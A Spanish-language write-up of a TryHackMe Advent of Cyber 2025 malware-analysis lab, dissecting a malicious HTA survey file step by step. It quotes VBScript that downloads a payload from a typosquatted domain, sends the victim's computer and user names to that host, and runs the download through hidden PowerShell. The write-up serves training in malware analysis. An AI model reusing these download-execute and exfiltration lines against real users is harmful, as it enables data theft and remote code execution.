Day 21: Malware Analysis - Advent of Cyber 2025
xhetic
@xhetic
馃摎 Esta publicaci贸n pertenece a las colecciones:
Day 21: Malware Analysis - Advent of Cyber 2025
Este writeup pertenece al evento Advent of Cyber 2025 de TryHackMe. Si quieres seguir toda la serie, consulta nuestra colecci贸n completa del Advent of Cyber 2025.
Hoy nos ponemos el sombrero de analista de malware. Hemos interceptado un archivo sospechoso con extensi贸n .hta (HTML Application). Estos archivos son peligrosos porque, aunque parecen simples p谩ginas web, se ejecutan con los privilegios de una aplicaci贸n de escritorio en Windows, permitiendo el uso de scripts como VBScript o PowerShell.
Nuestro objetivo es diseccionar este archivo, entender qu茅 hace y descubrir c贸mo se comunica con el atacante.
Room: Malware Analysis - Malhare.exe
Dificultad: Easy
馃攳 An谩lisis del Archivo HTA
Al abrir el c贸digo fuente del archivo .hta, comenzamos a responder las preguntas del reto bas谩ndonos en lo que encontramos.
1. Identificaci贸n de la Aplicaci贸n
Lo primero que vemos al inicio del HTML es la etiqueta <title>.
<title>Best Festival Company Developer Survey</title>Pregunta: What is the title of the HTA application?
Respuesta: Best Festival Company Developer Survey
2. La Funci贸n de Descarga
Buscamos en el c贸digo VBScript una funci贸n encargada de obtener las preguntas de la encuesta. Encontramos getQuestions:
Function getQuestions()
Dim IE, result, decoded, decodedString
Set IE = CreateObject("InternetExplorer.Application")
IE.navigate2 "http://survey.bestfestiivalcompany.com/survey_questions.txt"
' ... c贸digo omitido ...
result = IE.document.body.innerText
IE.quit
decoded = decodeBase64(result)
decodedString = RSBinaryToString(decoded)
Call provideFeedback(decodedString)
End FunctionEsta funci贸n crea un objeto de Internet Explorer para descargar contenido.
Pregunta: What VBScript function is acting as if it is downloading the survey questions?
Respuesta: getQuestions
3. El Dominio Malicioso
Dentro de la funci贸n getQuestions, observamos la URL a la que se conecta:
IE.navigate2 "http://survey.bestfestiivalcompany.com/survey_questions.txt"Pregunta: What URL domain (including sub-domain) is the "questions" being downloaded from?
Respuesta: survey.bestfestiivalcompany.com
4. Typosquatting
Los atacantes a menudo usan dominios que se parecen mucho a los leg铆timos (Typosquatting). El dominio real es bestfestivalcompany.com. Si miramos con atenci贸n el dominio del malware:
bestfestiivalcompany.com
Vemos una doble "i" latina intentando pasar desapercibida.
Pregunta: Malhare seems to be using typosquatting... what character in the domain gives this away?
Respuesta: i
5. Preguntas de la Encuesta
El script parece iterar o descargar un n煤mero espec铆fico de preguntas. Aunque el c贸digo completo no se muestra aqu铆, el an谩lisis del bucle en el script original revela que procesa 4 elementos.
Pregunta: How many questions does the survey have?
Respuesta: 4
6. Ingenier铆a Social
Incluso en el c贸digo, los atacantes intentan enga帽ar a la v铆ctima. Buscando la palabra "trip" (viaje) en el c贸digo, encontramos este incentivo falso:
<div>All participants will be entered into a prize draw for a chance to win a trip to the South Pole!</div>Pregunta: The survey entices participation by promising a chance to win a trip to where?
Respuesta: South Pole
馃摛 Exfiltraci贸n de Datos
Analizamos la funci贸n provideFeedback, que parece ser la encargada de enviar datos al atacante.
Function provideFeedback(feedbackString)
Dim strHost, strUser, strDomain
On Error Resume Next
strHost = CreateObject("WScript.Network").ComputerName
strUser = CreateObject("WScript.Network").UserName
Dim IE
Set IE = CreateObject("InternetExplorer.Application")
IE.navigate2 "http://survey.bestfestiivalcompany.com/details?u=" & strUser & "?h=" & strHost
' ...7. Informaci贸n Robada
El script utiliza WScript.Network para obtener dos datos espec铆ficos del sistema v铆ctima: ComputerName y UserName.
Pregunta: What two pieces of information about the computer it is running on are being exfiltrated?
Respuesta: ComputerName,UserName
8. Endpoint de Exfiltraci贸n
La URL construida para enviar los datos es:
http://survey.bestfestiivalcompany.com/details?u=...
Pregunta: What endpoint is the enumerated data being exfiltrated to?
Respuesta: /details
9. M茅todo HTTP
Al usar IE.navigate2 con par谩metros en la URL (query strings), los datos se env铆an mediante una petici贸n GET.
Pregunta: What HTTP method is being used to exfiltrate the data?
Respuesta: GET
馃挘 Ejecuci贸n de Payload
10. Ejecuci贸n del C贸digo Descargado
Volviendo a la funci贸n provideFeedback, vemos qu茅 hace con el contenido descargado (feedbackString):
Dim runObject
Set runObject = CreateObject("Wscript.Shell")
runObject.Run "powershell.exe -nop -w hidden -c " & feedbackString, 0, FalseEl script no solo env铆a datos, sino que ejecuta lo que descarg贸 usando PowerShell de forma oculta.
Pregunta: What is the line of code that executes the contents of the download?
Respuesta: runObject.Run "powershell.exe -nop -w hidden -c " & feedbackString, 0, False
馃З Desofuscaci贸n del Payload
Como el sitio malicioso ya no est谩 activo, descargamos una copia del payload (blob.txt) proporcionada por los elfos.
11. Primer Nivel de Ofuscaci贸n
El contenido del archivo comienza as铆:
ZnVuY3Rpb24gQUFCQiB7CiAgICBbQ21kbGV0QmluZGluZygpXQogICAgcGFyYW0oCiAgICAgICAgW1BhcmFtZXRlcihNYW5kYXRvcnkpXQogICAgICAgIFtzdHJpbmddJFRleHQKICAgICkKCiAgICAkc2IgPSBOZXctT2JqZWN0IFN5c3RlbS5UZXh0LlN0cmluZ0J1aWxkZXIgJFRleHQuTGVuZ3RoCiAgICBmb3JlYWNoICgkY2ggaW4gJFRleHQuVG9DaGFyQXJyYXkoKSkgewogICAgICAgICRjID0gW2ludF1bY2hhcl0kY2gKCiAgICAgICAgaWYgKCRjIC1nZSA2NSAtYW5kICRjIC1sZSA5MCkgeyAgICAgICAgICAgCiAgICAgICAgICAgICRjID0gKCgkYyAtIDY1ICsgMTMpICUgMjYpICsgNjUKICAgICAgICB9CiAgICAgICAgZWxzZWlmICgkYyAtZ2UgOTcgLWFuZCAkYyAtbGUgMTIyKSB7ICAgICAgCiAgICAgICAgICAgICRjID0gKCgkYyAtIDk3ICsgMTMpICUgMjYpICsgOTcKICAgICAgICB9CgogICAgICAgIFt2b2lkXSRzYi5BcHBlbmQoW2NoYXJdJGMpCiAgICB9CiAgICAkc2IuVG9TdHJpbmcoKQp9CgokZmxhZyA9ICdHVVp7Wm55am5lci5OYW55bGZycX0nCgokZGVjbyA9IEFBQkIgLVRleHQgJGZsYWcKV3JpdGUtT3V0cHV0ICRkZWNv
Usando CyberChef con la receta From Base64 (o Magic), vemos que se decodifica a un script de PowerShell legible.
Pregunta: What popular encoding scheme was used in an attempt to obfuscate the download?
Respuesta: base64
12. Segundo Nivel de Ofuscaci贸n
El script decodificado contiene una funci贸n AABB que realiza operaciones matem谩ticas sobre los caracteres:
if ($c -ge 65 -and $c -le 90) {
$c = (($c - 65 + 13) % 26) + 65
}Sumar 13 y hacer m贸dulo 26 es la definici贸n cl谩sica del cifrado C茅sar ROT13.
Pregunta: What common encryption scheme was used in the script?
Respuesta: rot13
13. La Flag Final
La variable $flag en el script es 'GUZ{Znyjner.Nanylfrq}'. Al aplicar ROT13 a esta cadena (usando CyberChef o ejecutando el script), obtenemos la flag.
Pregunta: What is the flag value?
Respuesta: THM{Malware.Analysed}
馃弳 Side Quest: La Imagen Oculta
Para los que buscan un reto extra, hay un segundo archivo HTA (sidequest.hta) protegido con contrase帽a.
Al analizarlo, encontramos una variable p con un gran bloque de Base64. Al decodificarlo, encontramos otra variable $k con m谩s Base64.
Usando CyberChef:
- From Base64: Obtenemos datos binarios que parecen basura.
- Magic: La operaci贸n Magic nos sugiere que hay una imagen PNG oculta si aplicamos un XOR.
- XOR: Usamos la clave
17(decimal) sugerida por Magic. - Render Image: 隆Bingo! Aparece una imagen PNG con la flag.

馃弫 Conclusi贸n
Esto demuestra la importancia de saber usar herramientas como CyberChef para identificar patrones de archivos (Magic Bytes) y operaciones l贸gicas comunes en la ofuscaci贸n de malware.
Si te perdiste el reto de Race Conditions de ayer, echa un vistazo al D铆a 20: Toy to The World.
Recuerda que puedes seguir toda la serie de retos en nuestra colecci贸n completa del Advent of Cyber 2025.
隆Nos vemos ma帽ana para m谩s hacking navide帽o! 馃巹